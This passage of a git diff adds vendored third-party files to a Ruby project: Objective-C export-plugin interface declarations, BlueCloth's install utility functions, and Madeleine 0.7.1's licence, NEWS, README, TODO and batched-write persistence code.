_NSSize)lastThumbnailSize:(void *)fp16; + @end + + @protocol ExportPluginBoxProtocol + - (BOOL)performKeyEquivalent:(id)fp16; + @end + + @protocol ExportPluginProtocol + - (id)initWithExportImageObj:(id)fp16; + - (id)settingsView; + - (id)firstView; + - (id)lastView; + - (void)viewWillBeActivated; + - (void)viewWillBeDeactivated; + - (id)requiredFileType; + - (BOOL)wantsDestinationPrompt; + - (id)getDestinationPath; + - (id)defaultFileName; + - (id)defaultDirectory; + - (BOOL)treatSingleSelectionDifferently; + - (BOOL)validateUserCreatedPath:(id)fp16; + - (void)clickExport; + - (void)startExport:(id)fp16; + - (void)performExport:(id)fp16; + - (CDAnonymousStruct12 *)progress; + - (void)lockProgress; + - (void)unlockProgress; + - (void)cancelExport; + - (id)name; + - (id)description; + @end + + @interface ExportController : NSObject + { + id mWindow; + id mExportView; + id mExportButton; + id mImageCount; + ExportMgr *mExportMgr; + ExportMgrRec *mCurrentPluginRec; + ProgressController *mProgressController; + BOOL mCancelExport; + NSTimer *mTimer; + NSString *mDirectoryPath; + } + + - (void)awakeFromNib; + - (void)dealloc; + - (id)currentPlugin; + - (id)currentPluginRec; + - (void)setCurrentPluginRec:(id)fp12; + - (id)directoryPath; + - (void)setDirectoryPath:(id)fp12; + - (void)show; + - (void)_openPanelDidEnd:(id)fp12 returnCode:(int)fp16 contextInfo:(void *)fp20; + - (id)panel:(id)fp12 userEnteredFilename:(id)fp16 confirmed:(BOOL)fp20; + - (BOOL)panel:(id)fp12 shouldShowFilename:(id)fp16; + - (BOOL)panel:(id)fp12 isValidFilename:(id)fp16; + - (BOOL)filesWillFitOnDisk; + - (void)export:(id)fp12; + - (void)_exportThread:(id)fp12; + - (void)_exportProgress:(id)fp12; + - (void)startExport:(id)fp12; + - (void)finishExport; + - (void)cancelExport; + - (void)cancel:(id)fp12; + - (void)enableControls; + - (id)window; + - (void)disableControls; + - (void)tabView:(id)fp12 willSelectTabViewItem:(id)fp16; + - (void)tabView:(id)fp12 didSelectTabViewItem:(id)fp16; + - (void)selectExporter:(id)fp12; + - (id)exportView; + - (BOOL)_hasPlugins; + - (void)_resizeExporterToFitView:(id)fp12; + - (void)_updateImageCount; + + @end + + @interface ExportMgr : NSObject + { + ArchiveDocument *mDocument; + NSMutableArray *mExporters; + Album *mExportAlbum; + NSArray *mSelection; + ExportController *mExportController; + } + + + (id)exportMgr; + + (id)exportMgrNoAlloc; + - (id)init; + - (void)dealloc; + - (void)releasePlugins; + - (void)setExportController:(id)fp12; + - (id)exportController; + - (void)setDocument:(id)fp12; + - (id)document; + - (void)updateDocumentSelection; + - (unsigned int)count; + - (id)recAtIndex:(unsigned int)fp12; + - (void)scanForExporters; + - (unsigned int)imageCount; + - (BOOL)imageIsPortraitAtIndex:(unsigned int)fp12; + - (id)imagePathAtIndex:(unsigned int)fp12; + - (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16; + - (unsigned int)imageFormatAtIndex:(unsigned int)fp12; + - (id)imageCaptionAtIndex:(unsigned int)fp12; + - (id)thumbnailPathAtIndex:(unsigned int)fp12; + - (id)imageDictionaryAtIndex:(unsigned int)fp12; + - (float)imageAspectRatioAtIndex:(unsigned int)fp12; + - (id)albumName; + - (id)albumMusicPath; + - (unsigned int)albumCount; + - (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp12; + - (id)imageRecAtIndex:(unsigned int)fp12; + - (id)currentAlbum; + - (void)enableControls; + - (void)disableControls; + - (id)window; + - (void)clickExport; + - (void)startExport; + - (void)cancelExport; + - (void)cancelExportBeforeBeginning; + - (id)directoryPath; + - (void)_copySelection:(id)fp12; + - (id)temporaryDirectory; + - (BOOL)doesFileExist:(id)fp12; + - (BOOL)doesDirectoryExist:(id)fp12; + - (BOOL)createDir:(id)fp12; + - (id)uniqueSubPath:(id)fp12 child:(id)fp16; + - (id)makeUniquePath:(id)fp12; + - (id)makeUniqueFilePath:(id)fp12 extension:(id)fp16; + - (id)makeUniqueFileNameWithTime:(id)fp12; + - (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp16; + - (id)pathForFSSpec:(id)fp12; + - (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp20; + - (id)pathForFSRef:(struct FSRef *)fp12; + - (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp16; + - (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp16; + - (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp20; + - (BOOL)isAliasFileAtPath:(id)fp12; + - (id)pathContentOfAliasAtPath:(id)fp12; + - (id)stringByResolvingAliasesInPath:(id)fp12; + - (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp16; + - (id)validFilename:(id)fp12; + - (id)getExtensionForImageFormat:(unsigned int)fp12; + - (unsigned int)getImageFormatForExtension:(id)fp12; + - (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp36; + - (void *)createThumbnailer; + - (void *)retainThumbnailer:(void *)fp12; + - (void *)autoreleaseThumbnailer:(void *)fp12; + - (void)releaseThumbnailer:(void *)fp12; + - (void)setThumbnailer:(void *)fp12 maxBytes:(unsigned int)fp16 maxWidth:(unsigned int)fp20 maxHeight:(unsigned int)fp24; + - (struct _NSSize)thumbnailerMaxBounds:(void *)fp16; + - (void)setThumbnailer:(void *)fp12 quality:(int)fp16; + - (int)thumbnailerQuality:(void *)fp12; + - (void)setThumbnailer:(void *)fp12 rotation:(float)fp36; + - (float)thumbnailerRotation:(void *)fp12; + - (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp16; + - (unsigned int)thumbnailerOutputFormat:(void *)fp12; + - (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp16; + - (id)thumbnailerOutputExtension:(void *)fp12; + - (BOOL)thumbnailer:(void *)fp12 createThumbnail:(id)fp16 dest:(id)fp20; + - (struct _NSSize)lastImageSize:(void *)fp16; + - (struct _NSSize)lastThumbnailSize:(void *)fp16; + + @end + + @interface ExportMgrRec : NSObject + { + NSString *mPath; + NSBundle *mBundle; + id mPlugin; + struct _NSSize mViewSize; + } + + - (void)dealloc; + - (BOOL)isEqual:(id)fp12; + - (id)description; + - (id)initWithPath:(id)fp12; + - (id)path; + - (id)bundle; + - (id)bundleInfo; + - (BOOL)isValidExportPlugin; + - (BOOL)loadPlugin; + - (id)exportPlugin; + - (void)unloadPlugin; + - (id)view; + - (struct _NSSize)viewSize; + - (void)setPath:(id)fp12; + - (void)setBundle:(id)fp12; + + @end + diff --git a/vendor/bluecloth-1.0.0/utils.rb b/vendor/bluecloth-1.0.0/utils.rb new file mode 100755 index 00000000..c7b4f917 --- /dev/null +++ b/vendor/bluecloth-1.0.0/utils.rb @@ -0,0 +1,553 @@ +# +# Install/distribution utility functions +# $Id: utils.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2001-2004, The FaerieMUD Consortium. +# +# This is free software. You may use, modify, and/or redistribute this +# software under the terms of the Perl Artistic License. (See +# http://language.perl.com/misc/Artistic.html) +# + + +BEGIN { + require 'find' + + begin + require 'readline' + include Readline + rescue LoadError => e + $stderr.puts "Faking readline..." + def readline( prompt ) + $stderr.print prompt.chomp + return $stdin.gets.chomp + end + end +} + +class File + Win32Exts = %w{.exe .com .bat} + + def self::which( prog, path=ENV['PATH'] ) + path.split(File::PATH_SEPARATOR).each {|dir| + # If running under Windows, look for prog + extensions + if File::ALT_SEPARATOR + ext = Win32Exts.find_all {|ext| + f = File::join(dir, prog+ext) + File::executable?(f) && !File::directory?(f) + } + ext.each {|f| + f = File::join( dir, prog + f ).gsub(%r:/:,'\\') + if block_given? then yield( f ) else return f end + } + else + f = File::join( dir, prog ) + if File::executable?( f ) && ! File::directory?( f ) + if block_given? then yield(f) else return f end + end + end + } + end + +end + + +module UtilityFunctions + + # The list of regexen that eliminate files from the MANIFEST + ANTIMANIFEST = [ + /makedist\.rb/, + /\bCVS\b/, + /~$/, + /^#/, + %r{docs/html}, + %r{docs/man}, + /\bTEMPLATE\.\w+\.tpl\b/, + /\.cvsignore/, + /\.s?o$/, + ] + AMRegexp = Regexp::union( *ANTIMANIFEST ) + + # Set some ANSI escape code constants (Shamelessly stolen from Perl's + # Term::ANSIColor by Russ Allbery and Zenin + AnsiAttributes = { + 'clear' => 0, + 'reset' => 0, + 'bold' => 1, + 'dark' => 2, + 'underline' => 4, + 'underscore' => 4, + 'blink' => 5, + 'reverse' => 7, + 'concealed' => 8, + + 'black' => 30, 'on_black' => 40, + 'red' => 31, 'on_red' => 41, + 'green' => 32, 'on_green' => 42, + 'yellow' => 33, 'on_yellow' => 43, + 'blue' => 34, 'on_blue' => 44, + 'magenta' => 35, 'on_magenta' => 45, + 'cyan' => 36, 'on_cyan' => 46, + 'white' => 37, 'on_white' => 47 + } + + ErasePreviousLine = "\033[A\033[K" + + + ############### + module_function + ############### + + # Create a string that contains the ANSI codes specified and return it + def ansiCode( *attributes ) + return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM'] + attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';') + if attr.empty? + return '' + else + return "\e[%sm" % attr + end + end + + + # Test for the presence of the specified library, and output a + # message describing the test using nicename. If nicename + # is nil, the value in library is used to build a default. + def testForLibrary( library, nicename=nil ) + nicename ||= library + message( "Testing for the #{nicename} library..." ) + found = false + + begin + require library + rescue LoadError => err + message "no found (%s)\n" % err.message + else + message "found\n" + found = true + end + + return found + end + + + # Test for the presence of the specified library, and output a + # message describing the problem using nicename. If + # nicename is nil, the value in library is used + # to build a default. If raaUrl and/or downloadUrl are + # specified, they are also use to build a message describing how to find the + # required library. If fatal is true, a missing library + # will cause the program to abort. + def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true ) + nicename ||= library + unless testForLibrary( library, nicename ) + msgs = [ "You are missing the required #{nicename} library.\n" ] + msgs << "RAA: #{raaUrl}\n" if raaUrl + msgs << "Download: #{downloadUrl}\n" if downloadUrl + if fatal + abort msgs.join('') + else + errorMessage msgs.join('') + end + end + return true + end + + ### Output msg as a ANSI-colored program/section header (white on + ### blue). + def header( msg ) + msg.chomp! + $stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' ) + $stderr.flush + end + + ### Output msg to STDERR and flush it. + def message( msg ) + $stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' ) + $stderr.flush + end + + ### Output the specified msg as an ANSI-colored error message + ### (white on red). + def errorMessage( msg ) + message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' ) + end + + ### Output the specified msg as an ANSI-colored debugging message + ### (yellow on blue). + def debugMsg( msg ) + return unless $DEBUG + msg.chomp! + $stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' ) + $stderr.flush + end + + ### Erase the previous line (if supported by your terminal) and output the + ### specified msg instead. + def replaceMessage( msg ) + print ErasePreviousLine + message( msg ) + end + + ### Output a divider made up of length hyphen characters. + def divider( length=75 ) + puts "\r" + ("-" * length ) + end + alias :writeLine :divider + + ### Output the specified msg colored in ANSI red and exit with a + ### status of 1. + def abort( msg ) + print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n" + Kernel.exit!( 1 ) + end + + ### Output the specified promptString as a prompt (in green) and + ### return the user's input with leading and trailing spaces removed. + def prompt( promptString ) + promptString.chomp! + return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip + end + + ### Prompt the user with the given promptString via #prompt, + ### substituting the given default if the user doesn't input + ### anything. + def promptWithDefault( promptString, default ) + response = prompt( "%s [%s]" % [ promptString, default ] ) + if response.empty? + return default + else + return response + end + end + + ### Search for the program specified by the given progname in the + ### user's PATH, and return the full path to it, or nil if + ### no such program is in the path. + def findProgram( progname ) + ENV['PATH'].split(File::PATH_SEPARATOR).each {|d| + file = File.join( d, progname ) + return file if File.executable?( file ) + } + return nil + end + + ### Using the CVS log for the given file attempt to guess what the + ### next release version might be. This only works if releases are tagged + ### with tags like 'RELEASE_x_y'. + def extractNextVersionFromTags( file ) + message "Attempting to extract next release version from CVS tags for #{file}...\n" + raise RuntimeError, "No such file '#{file}'" unless File.exists?( file ) + cvsPath = findProgram( 'cvs' ) or + raise RuntimeError, "Cannot find the 'cvs' program. Aborting." + + output = %x{#{cvsPath} log #{file}} + release = [ 0, 0 ] + output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match| + if $1.to_i > release[0] || $2.to_i > release[1] + release = [ $1.to_i, $2.to_i ] + replaceMessage( "Found %d.%02d...\n" % release ) + end + } + + if release[1] >= 99 + release[0] += 1 + release[1] = 1 + else + release[1] += 1 + end + + return "%d.%02d" % release + end + + + ### Write a new manifest file with the given +named+, moving any current one + ### aside with an ".old" suffix if +backup+ is true. + def makeManifest( name="MANIFEST", backup=true ) + message "Making manifest file '#{name}'" + + # Move an old one aside if a backup is desired + if backup and File::exists?( name ) + File::rename( name, name + ".old" ) + end + + File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh| + Find::find( "." ) do |file| + Find.prune if AMRegexp =~ file + Find.prune if %r{/\.} =~ file + Find.prune if /TEMPLATE/ =~ file + next if File::directory?( file ) + + ofh.puts file + end + } + end + + + ### Read the specified manifestFile, which is a text file + ### describing which files to package up for a distribution. The manifest + ### should consist of one or more lines, each containing one filename or + ### shell glob pattern. + def readManifest( manifestFile="MANIFEST" ) + message "Reading manifest..." + raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile + + manifest = IO::readlines( manifestFile ).collect {|line| + line.chomp + }.select {|line| + line !~ /^(\s*(#.*)?)?$/ + } + + filelist = [] + for pat in manifest + $stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE + filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)} + end + + message "found #{filelist.length} files.\n" + return filelist + end + + + ### Given a filelist like that returned by #readManifest, remove + ### the entries therein which match the Regexp objects in the given + ### antimanifest and return the resultant Array. + def vetManifest( filelist, antimanifest=ANITMANIFEST ) + origLength = filelist.length + message "Vetting manifest..." + + for regex in antimanifest + if $VERBOSE + message "\n\tPattern /#{regex.source}/ removed: " + + filelist.find_all {|file| regex.match(file)}.join(', ') + end + filelist.delete_if {|file| regex.match(file)} + end + + message "removed #{origLength - filelist.length} files from the list.\n" + return filelist + end + + ### Combine a call to #readManifest with one to #vetManifest. + def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST ) + vetManifest( readManifest(manifestFile), antimanifest ) + end + + ### Given a documentation catalogFile, extract the title, if + ### available, and return it. Otherwise generate a title from the name of + ### the CVS module. + def findRdocTitle( catalogFile="docs/CATALOG" ) + + # Try extracting it from the CATALOG file from a line that looks like: + # Title: Foo Bar Module + title = findCatalogKeyword( 'title', catalogFile ) + + # If that doesn't work for some reason, try grabbing the name of the CVS + # repository the directory belongs to. + if title.nil? && File::directory?( "CVS" ) && + File::exists?( "CVS/Repository" ) + title = File::read( "CVS/Repository" ).chomp + end + + # As a last resort, use the name of the project directory + if title.nil? + distdir = File::dirname( __FILE__ ) + distdir = File::dirname( distdir ) if /docs$/ =~ distdir + title = File::basename( distdir ) + end + + return title + end + + ### Given a documentation catalogFile, extract the name of the file + ### to use as the initally displayed page. If extraction fails, the + ### +default+ will be used if it exists. Returns +nil+ if there is no main + ### file to be found. + def findRdocMain( catalogFile="docs/CATALOG", default="README" ) + + # Try extracting it from the CATALOG file from a line that looks like: + # Main: Foo Bar Module + main = findCatalogKeyword( 'main', catalogFile ) + + # Try to make some educated guesses if that doesn't work + if main.nil? + basedir = File::dirname( __FILE__ ) + basedir = File::dirname( basedir ) if /docs$/ =~ basedir + + if File::exists?( File::join(basedir, default) ) + main = default + end + end + + return main + end + + + ### Given a documentation catalogFile, extract an upload URL for + ### RDoc. + def findRdocUpload( catalogFile="docs/CATALOG" ) + findCatalogKeyword( 'upload', catalogFile ) + end + + + ### Given a documentation catalogFile, extract a CVS web frontend + ### URL for RDoc. + def findRdocCvsURL( catalogFile="docs/CATALOG" ) + findCatalogKeyword( 'webcvs', catalogFile ) + end + + + ### Given a documentation catalogFile, try extracting the given + ### +keyword+'s value from it. Keywords are lines that look like: + ### # : + ### Returns +nil+ if the catalog file was unreadable or didn't contain the + ### specified +keyword+. + def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" ) + val = nil + + if File::exists? catalogFile + message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile + File::foreach( catalogFile ) {|line| + debugMsg( "Examining line #{line.inspect}..." ) + val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line + } + end + + return val + end + + + ### Given a documentation catalogFile, which is in the same format + ### as that described by #readManifest, read and expand it, and then return + ### a list of those files which appear to have RDoc documentation in + ### them. If catalogFile is nil or does not exist, the MANIFEST + ### file is used instead. + def findRdocableFiles( catalogFile="docs/CATALOG" ) + startlist = [] + if File.exists? catalogFile + message "Using CATALOG file (%s).\n" % catalogFile + startlist = getVettedManifest( catalogFile ) + else + message "Using default MANIFEST\n" + startlist = getVettedManifest() + end + + message "Looking for RDoc comments in:\n" if $VERBOSE + startlist.select {|fn| + message " #{fn}: " if $VERBOSE + found = false + File::open( fn, "r" ) {|fh| + fh.each {|line| + if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*} + found = true + break + end + } + } + + message( (found ? "yes" : "no") + "\n" ) if $VERBOSE + found + } + end + + ### Open a file and filter each of its lines through the given block a + ### line at a time. The return value of the block is used as the + ### new line, or omitted if the block returns nil or + ### false. + def editInPlace( file ) # :yields: line + raise "No block specified for editing operation" unless block_given? + + tempName = "#{file}.#{$$}" + File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile| + File::unlink( tempName ) + File::open( file, File::RDONLY ) {|fh| + fh.each {|line| + newline = yield( line ) or next + tempfile.print( newline ) + } + } + + tempfile.seek(0) + + File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile| + newfile.print( tempfile.read ) + } + } + end + + ### Execute the specified shell command, read the results, and + ### return them. Like a %x{} that returns an Array instead of a String. + def shellCommand( *command ) + raise "Empty command" if command.empty? + + cmdpipe = IO::popen( command.join(' '), 'r' ) + return cmdpipe.readlines + end + + ### Execute a block with $VERBOSE set to +false+, restoring it to its + ### previous value before returning. + def verboseOff + raise LocalJumpError, "No block given" unless block_given? + + thrcrit = Thread.critical + oldverbose = $VERBOSE + begin + Thread.critical = true + $VERBOSE = false + yield + ensure + $VERBOSE = oldverbose + Thread.critical = false + end + end + + + ### Try the specified code block, printing the given + def try( msg, bind=nil ) + result = nil + if msg =~ /^to\s/ + message = "Trying #{msg}..." + else + message = msg + end + + begin + rval = nil + if block_given? + rval = yield + else + file, line = caller(1)[0].split(/:/,2) + rval = eval( msg, bind, file, line.to_i ) + end + + result = rval.inspect + rescue Exception => err + if err.backtrace + nicetrace = err.backtrace.delete_if {|frame| + /in `(try|eval)'/ =~ frame + }.join("\n\t") + else + nicetrace = "Exception had no backtrace" + end + + result = err.message + "\n\t" + nicetrace + ensure + puts result + end + end + + def time + start = Time::now + stimes = Process::times + rval = yield + etimes = Process::times + $stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [ + etimes.utime - stimes.utime, + etimes.stime - stimes.stime, + Time::now.to_f - start.to_f, + ] + + return rval + end + +end diff --git a/vendor/madeleine-0.7.1/.cvsignore b/vendor/madeleine-0.7.1/.cvsignore new file mode 100755 index 00000000..c3c960b4 --- /dev/null +++ b/vendor/madeleine-0.7.1/.cvsignore @@ -0,0 +1,2 @@ +PrevalenceBase +*.gem diff --git a/vendor/madeleine-0.7.1/COPYING b/vendor/madeleine-0.7.1/COPYING new file mode 100755 index 00000000..19d570ec --- /dev/null +++ b/vendor/madeleine-0.7.1/COPYING @@ -0,0 +1,31 @@ + + Copyright (c) 2003-2004, Anders Bengtsson + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. The names of its contributors may not be used to endorse or promote + products derived from this software without specific prior written + permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND + CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, + INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS + BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED + TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF + THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. diff --git a/vendor/madeleine-0.7.1/NEWS b/vendor/madeleine-0.7.1/NEWS new file mode 100755 index 00000000..8fd9d325 --- /dev/null +++ b/vendor/madeleine-0.7.1/NEWS @@ -0,0 +1,55 @@ + +Madeleine 0.7.1 (August 22, 2004): + + * ZMarshal changed to work around Zlib bug. + * automatic_read_only fixed when intercepted class is inherited from + +Madeleine 0.7 (July 23, 2004): + + * Broken clock unit test on win32 fixed. + * AutomaticSnapshotMadeleine detects snapshot format on recovery + * Snapshot compression with Madeleine::ZMarshal + * YAML snapshots supported for automatic commands + * SOAP snapshots supported for automatic commands + * Read-only methods for automatic commands + +Madeleine 0.6.1 (March 30, 2004): + + * Bug fix: Use binary mode for I/O, fixes log replay + on mswin32 port of Ruby (Patch from Martin Tampe) + +Madeleine 0.6 (March 28, 2004): + + * Changed license to BSD + * Added a RubyGem specification + * Re-designed initialization (but still backward-compatible) + * Bug fix: Fixed use of finalized object's id in AutomaticSnapshotMadeleine + +Madeleine 0.5 (August 31, 2003): + + * Bug fix: Log order on recovery was wrong on some platforms + (Reported by IIMA Susumu) + * No longer requires the system clock to always increase + * Shared locks for queries + +Madeleine 0.4 (July 4, 2003): + + * Deprecated ClockedSnapshotMadeleine + * Added execute_query() + * API documentation in RDoc format + +Madeleine 0.3 (May 15, 2003): + + * Automatic commands + * Some classes exported to the default module + * Clock support not loaded by default (require 'madeleine/clock') + * Bug fix: Error handling when replaying logged commands. + * New system through block instead of argument (API change) + * Works in $SAFE = 1 + +Madeleine 0.2: + + * Supports custom marshalling implementations. + * Changed interface for ClockedSystem and Clock. + * Some documentation added, including API docs. + diff --git a/vendor/madeleine-0.7.1/README b/vendor/madeleine-0.7.1/README new file mode 100755 index 00000000..3fb6ce17 --- /dev/null +++ b/vendor/madeleine-0.7.1/README @@ -0,0 +1,78 @@ + +Madeleine is a Ruby implementation of Object Prevalence: Transparent +persistence of business objects using command logging and complete +system snapshots. + + + +Madeleine's design is based on Prevayler, the original Java +prevalence layer. + +Learn more about object prevalence at . + + +Installation: + + Typical installation procedure is: + $ ruby install.rb config + $ ruby install.rb setup + # ruby install.rb install (may require root privilege) + Try 'ruby install.rb --help' for detailed usage. + + [From the documentation of Minero Aoki's 'install.rb'] + +Usage: + + require 'madeleine' + + # Create an application as a prevalent system + + madeleine = SnapshotMadeleine.new("my_example_storage") { + SomeExampleApplication.new() + } + + # Do modifications of the system by sending commands through + # the Madeleine instance. A command is an object with a suitable + # "execute(system)" method. + + madeleine.execute_command(command) + + +Requirements: + + * Ruby 1.8.1 or later + + Additionaly, some of the sample code also uses ruby/tk. + + +Known problems: + + * Won't run in some Windows-ports of Ruby due to missing + fsync() call. + +Contact: + + Homepage: + + + Questions, bug reports, patches, complaints? Use the mailing list: + + +License: + + BSD (see the file COPYING) + +Credits: + + Anders Bengtsson - Prevalence core impl. + Stephen Sykes - Automatic commands impl. + + With the help of patches, testing and feedback from: + + Steve Conover, David Heinemeier Hansson, Johan Lind, Håkan Råberg, + IIMA Susumu, Martin Tampe and Jon Tirsén + + Thanks to Klaus Wuestefeld and the Prevayler developers for the + model of this software; to Minero Aoki for the installer; to Matz and + the core developers for the Ruby language! + diff --git a/vendor/madeleine-0.7.1/TODO b/vendor/madeleine-0.7.1/TODO new file mode 100755 index 00000000..d2e14f7b --- /dev/null +++ b/vendor/madeleine-0.7.1/TODO @@ -0,0 +1,23 @@ + + +- Fix broken time-dependent unit test +* Rolling snapshots, with age limit +- Compressed snapshots +- Full support for YAML snapshots +- SOAP marshalling +* Configurable log marshaller (or use the snapshot marshaller?) +* Write a document about the different marshallers, for app. developers. + +* Move all default implementations into a "Default" module +* Introduce an object representing a log directory +* Move recovery out of DefaultSnapshotMadeleine entirely +* Write an example with a web server + +* Replace filesystem with mock objects for unit testing. +* ClockCommand +* Integrate batched-writes in SnapshotMadeleine +* More sample code +* More documentation +* DRb integration +* Rollback +* Handle broken logs? diff --git a/vendor/madeleine-0.7.1/contrib/batched.rb b/vendor/madeleine-0.7.1/contrib/batched.rb new file mode 100755 index 00000000..2532cd64 --- /dev/null +++ b/vendor/madeleine-0.7.1/contrib/batched.rb @@ -0,0 +1,298 @@ +# Batched writes for Madeleine +# +# Copyright(c) Håkan Råberg 2003 +# +# +# This is an experimental implementation of batched log writes to mininize +# calls to fsync. It uses a Shared/Exclusive-Lock, implemented in sync.rb, +# which is included in Ruby 1.8. +# +# Writes are batched for a specified amount of time, before written to disk and +# then executed. +# +# For a detailed discussion about the problem, see +# http://www.prevayler.org/wiki.jsp?topic=OvercomingTheWriteBottleneck +# +# +# Usage is identical to normal SnapshotMadeleine, and it can also be used as +# persister for AutomaticSnapshotMadeleine. (One difference: the log isn't +# visible on disk until any commands are executed.) +# +# You can also use the execute_query method for shared synchronzied queries, +# for eaay coarse-grained locking of the system. +# +# The exclusive lock is only locked during the actual execution of commands and +# while closing. +# +# Keeping both log writes and executes of commands in the originating thread +# is needed by AutomaticSnapshotPrevayler. Hence the strange SimplisticPipe +# class. +# +# Todo: +# - It seems like Sync (sync.rb) prefers shared locks. This should probably +# be changed. +# +# +# Madeleine - Ruby Object Prevalence +# +# Copyright(c) Anders Bengtsson 2003 +# + +require 'madeleine' +require 'madeleine/clock' + +include Madeleine::Clock + +module Madeleine + module Batch + class BatchedSnapshotMadeleine < SnapshotMadeleine + + def initialize(directory_name, marshaller=Marshal, &new_system_block) + super(directory_name, marshaller, &new_system_block) + @log_actor = LogActor.launch(self) + end + + def execute_command(command) + verify_command_sane(command) + queued_command = QueuedCommand.new(command) + @lock.synchronize(:SH) do + raise "closed" if @closed + @logger.store(queued_command) + end + queued_command.wait_for + end + + def execute_query(query) + verify_command_sane(query) + @lock.synchronize(:SH) do + execute_without_storing(query) + end + end + + def close + @log_actor.destroy + @lock.synchronize do + @logger.close + @closed = true + end + end + + def flush + @lock.synchronize do + @logger.flush + end + end + + def take_snapshot + @lock.synchronize(:SH) do + @lock.synchronize do + @logger.close + end + Snapshot.new(@directory_name, system, @marshaller).take + @logger.reset + end + end + + private + + def create_lock + Sync.new + end + + def create_logger(directory_name, log_factory) + BatchedLogger.new(directory_name, log_factory, self.system) + end + + def log_factory + BatchedLogFactory.new + end + end + + private + + class LogActor + def self.launch(madeleine, delay=0.01) + result = new(madeleine, delay) + result + end + + def destroy + @is_destroyed = true + if @thread.alive? + @thread.wakeup + @thread.join + end + end + + private + + def initialize(madeleine, delay) + @is_destroyed = false + + madeleine.flush + @thread = Thread.new { + until @is_destroyed + sleep(delay) + madeleine.flush + end + } + end + end + + class BatchedLogFactory + def create_log(directory_name) + BatchedLog.new(directory_name) + end + end + + class BatchedLogger < Logger + def initialize(directory_name, log_factory, system) + super(directory_name, log_factory) + @buffer = [] + @system = system + end + + def store(queued_command) + @buffer << queued_command + end + + def close + return if @log.nil? + flush + @log.close + @log = nil + end + + def flush + return if @buffer.empty? + + open_new_log if @log.nil? + + if @system.kind_of?(ClockedSystem) + @buffer.unshift(QueuedTick.new) + end + + @buffer.each do |queued_command| + queued_command.store(@log) + end + + @log.flush + + @buffer.each do |queued_command| + queued_command.execute(@system) + end + + @buffer.clear + end + end + + class BatchedLog < CommandLog + def store(command) + Marshal.dump(command, @file) + end + + def flush + @file.flush + @file.fsync + end + end + + class QueuedCommand + def initialize(command) + @command = command + @pipe = SimplisticPipe.new + end + + def store(log) + @pipe.write(log) + end + + def execute(system) + @pipe.write(system) + end + + def wait_for + @pipe.read do |log| + log.store(@command) + end + + @pipe.read do |system| + return @command.execute(system) + end + end + end + + class QueuedTick + def initialize + @tick = Tick.new(Time.now) + end + + def store(log) + log.store(@tick) + end + + def execute(system) + @tick.execute(system) + end + end + + class SimplisticPipe + def initialize + @receive_lock = Mutex.new.lock + @consume_lock = Mutex.new.lock + @message = nil + end + + def read + begin + wait_for_message_received + + if block_given? + yield @message + else + return @message + end + + ensure + message_consumed + end + end + + def write(message) + raise WriteBlockedException unless can_write? + + @message = message + message_received + wait_for_message_consumed + @message = nil + end + + def can_write? + @message.nil? + end + + private + + def message_received + @receive_lock.unlock + end + + def wait_for_message_received + 